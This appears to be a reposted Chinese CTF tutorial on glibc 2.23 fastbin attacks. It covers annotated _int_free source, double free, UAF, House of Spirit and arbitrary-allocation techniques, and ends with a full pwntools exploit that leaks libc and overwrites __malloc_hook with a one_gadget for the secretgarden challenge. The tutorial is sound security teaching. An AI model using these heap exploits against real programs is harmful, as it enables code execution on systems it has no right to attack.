Fastbin attack 總結


Fastbin attack

本文參考了ctf-wiki 和glibc

要了解fastbin attack,我們先要了解fastbin的機制。由於libc2.26后加入了tcache機制,我們這里就只分析glibc 2.23。

下面的代碼選自glibc 2.23 (有刪除)

static void _int_free (mstate av, mchunkptr p, int have_lock)
{
  size = chunksize (p);    //獲取p的size
  check_inuse_chunk(av, p);//檢查p的物理相鄰的下一個堆塊的inuse位是否置1

  //檢查p的大小是否小於global_max_fast
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
      #if TRIM_FASTBINS
          //檢查p物理相鄰的堆塊是否是top chunk
          && (chunk_at_offset(p, size) != av->top)
      #endif
      ) 
  {
    //檢查p的物理相鄰下個堆塊是否存在,且大小是否滿足最小和最大要求
    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
	       || __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
        {.......}

	//對chunk的data塊通過memset賦值,但是默認情況下是不進行操作    
    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
    //設置 malloc_state的flag
    set_fastchunks(av);

    //獲取p對應大小的fastbinY的索引
    unsigned int idx = fastbin_index(size);
    //fb指向對應大小的fastbinY的地址
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    // old為 對應大小的fastbinY的fd值,也就是第一個對塊的地址
    mchunkptr old = *fb, old2;
    unsigned int old_idx = ~0u;
    
    do
      {
      	 // Check that the top of the bin is not the record we are going to add
         //檢查 fastbin中對應的bin的第一項 是否 等於 p (新加入的堆塊)
        	if (__builtin_expect (old == p, 0))
      	  {
      	    errstr = "double free or corruption (fasttop)";
      	    goto errout;
      	  }
          //獲取 fastbin中對應的bin的第一項的索引。
        	if (have_lock && old != NULL)
        	  old_idx = fastbin_index(chunksize(old));
          //讓  p 的fd指向 頂部的fastbin塊
        	p->fd = old2 = old;
    }
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
    //catomic_compare_and_exchange_val_rel 功能是 如果*fb等於old2,則將*fb存儲為p,返回old2;
    // *fb=p 也就是 讓對應fastbin的fd指向 p(新加入的堆塊)

    //檢查fastbin中對應的bin的第一項的大小是否與p(要添加的塊)的大小相同。
    if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
      {
        	errstr = "invalid fastbin entry (free)";
        	goto errout;
      }
  }
}
#define fastbin_index(sz) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

可以看到fastbin 只是檢查了fastbin 第一個chunk是否與新加入的chunk相同。所以我們可以使用free(0) free(1) free(0) 的方式來達到double free。之后還檢查大小是否滿足要求,通過size算出fastbin_index然后再比對。如果對應的fastbinY的大小為0x70,64位的話size可以在0~0xF之間浮動,也就是說size為0x70-0x7f都會被認為是合法的。32為同理,在0-0x7之間浮動。

利用的前提:

  • 能創建 fastbin 類型的 chunk

  • 存在堆溢出、use-after-free 等能控制 chunk 內容的漏洞

如果細分的話,可以做如下的分類:

  • Fastbin Double Free

    即利用double free漏洞構造chunk如下圖所示

    image-20200513124237921

    我們首先申請回chunk1然后修改其fd值指向一個fake_chunk,這里的chunk要保證size域合法,我們再次申請3次同樣的chunk,就會依次拿到chunk2,chunk1,fake_chunk。我們只要在關鍵位置偽造fake_chunk就可以了。例如在malloc_hook左右偽造fake_chunk,然后修改malloc_hook的值為one_gadget就可以在調用malloc時get_shell。

  • UAF

    同Fastbin Double Free利用手法相似,只不過只需free一次,然后修改FD指針指向fake_chunk。

  • House of Spirit

    該技術的核心在於在目標位置處偽造 fastbin chunk,並將其釋放,再申請回來,從而達到分配指定地址的 chunk 的目的。

    1. 可以 free 你指定的位置的fake_chunk。

    2. 要想構造 fastbin fake chunk,並且將其釋放時,可以將其放入到對應的 fastbin 鏈表中,需要繞過一些必要的檢測,即

      • fake chunk 的 ISMMAP 位不能為1,因為 free 時,如果是 mmap 的 chunk,會單獨處理。

      • fake chunk 地址需要對齊, 32位8字節對齊,64為16字節對齊

      • fake chunk 的 size 大小需要滿足對應的 fastbin 的需求。

      • fake chunk 的 next chunk 的大小合理。

  • Alloc to Stack

    該技術的核心點在於劫持 fastbin 鏈表中 chunk 的 fd 指針,把 fd 指針指向我們想要分配的棧上,從而實現控制棧中的一些關鍵數據,比如返回地址等。

  • Arbitrary Alloc

    Arbitrary Alloc 其實與 Alloc to stack 是完全相同的,唯一的區別是分配的目標不再是棧中。我們可以把 chunk 分配到任意的可寫內存中,比如bss、heap、data、stack等等。

小結:以上是fastbin attack的集中方法,總結起來就是3步:

1.  偽造合理的chunk 
2.  使fd指向fake_chunk,或者free fake_chunk。   使得fake_chunk加入到fastbin中
3.  分配得到fake_chunk,進行后續利用

例題

hitcontraining_secretgarden ,本題libc 為2.23

首先檢查一下保護

image-20200523200834537

main函數,有增刪查,沒有改。

image-20200523205626739

漏洞點,del函數free的時候指針沒有清零。並且free前沒有檢查flowerlist[i][0]的值是否為1

image-20200523205716179

其他都是常規操作,我就不一一細講了。

程序留有后門,我們也可以劫持函數的got來實現調用后門。但是我們這里使用的是劫持__malloc_hook,由於one_gadget不能用,我們通過__libc_realloc改變棧環境,使得one_gadget條件成立。

from pwn import *
context.log_level = 'debug'
p = process('./secretgarden')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(length,name,color):
    p.sendlineafter('Your choice : ','1')
    p.sendlineafter('name :',str(length))
    p.sendafter('flower :',name)
    p.sendlineafter('flower :',color)#0x17

def show():
    p.sendlineafter('Your choice : ','2')

def delete(idx):
    p.sendlineafter('Your choice : ','3')
    p.sendlineafter('garden:',str(idx))
    
#----------------leak libc ---------------#
add(0x80,'A'*0x80,'B'*23)#0
add(0x80,'B'*0x80,'B'*23)#1

delete(0) #將其置入unsorted bin

add(0x50,'E'*8,'B'*23)#2
show()
p.recvuntil('EEEEEEEE')
libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x3c4b78
print 'libc_base: '+hex(libc_base)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one[1]
#-------------- double free ---------------#

add(0x68,'A'*0x68,'B'*23)#3
add(0x68,'B'*0x68,'B'*23)#4
delete(3)
delete(4)
delete(3) #fastbinY(0x70) -> 3 -> 4 ->3

#--------------fastbin attack --------------#
add(0x68,p64(libc_base+libc.symbols['__malloc_hook']-0x23),'B'*23)#5
add(0x68,'A'*0x68,'B'*23)#6
add(0x68,'A'*0x68,'B'*23)#7
add(0x68,'\x00'*0xb+p64(one_gadget)+p64(libc_base+libc.symbols['__libc_realloc']+8),'B'*23)
#gdb.attach(p)
p.sendlineafter('Your choice : ','1')


p.interactive()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM